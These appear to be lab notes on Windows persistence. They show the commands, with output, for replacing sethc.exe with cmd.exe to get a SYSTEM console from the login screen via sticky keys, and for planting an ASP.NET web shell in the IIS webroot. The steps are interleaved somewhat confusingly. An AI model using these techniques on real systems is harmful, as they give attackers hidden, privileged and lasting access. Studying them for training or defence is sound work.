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Using Web Shells

  • After pressing SHIFT 5 times, Windows will execute the binary in C:\Windows\System32\sethc.exe.

  • If we are able to replace such binary for a payload of our preference, we can then trigger it with the shortcut. Interestingly, we can even do this from the login screen before inputting any credentials.

  • A straightforward way to backdoor the login screen consists of replacing sethc.exe with a copy of cmd.exe.

  • That way, we can spawn a console using the sticky keys shortcut, even from the logging screen.

  • To overwrite sethc.exe, we first need to take ownership of the file and grant our current user permission to modify it.

  • Only then will we be able to replace it with a copy of cmd.exe. We can do so with the following commands:

  • If you notice the compromised target is hosting a web server, we can take advantage of this.

  • Download A ASP.NET web shell.

  • https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx

  • Transfer it to the victim machine and move it into the webroot, which by default is located in the C:\inetpub\wwwroot directory:

takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".

icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
        1 file(s) copied.
move shell.aspx C:\inetpub\wwwroot\

  • After doing so, lock your session from the start menu:

  • You should now be able to press SHIFT five times to access a terminal with SYSTEM privileges directly from the login screen:

  • We can then run commands from the web server by pointing to the following URL:

  • http://MACHINE_IP/shell.aspx

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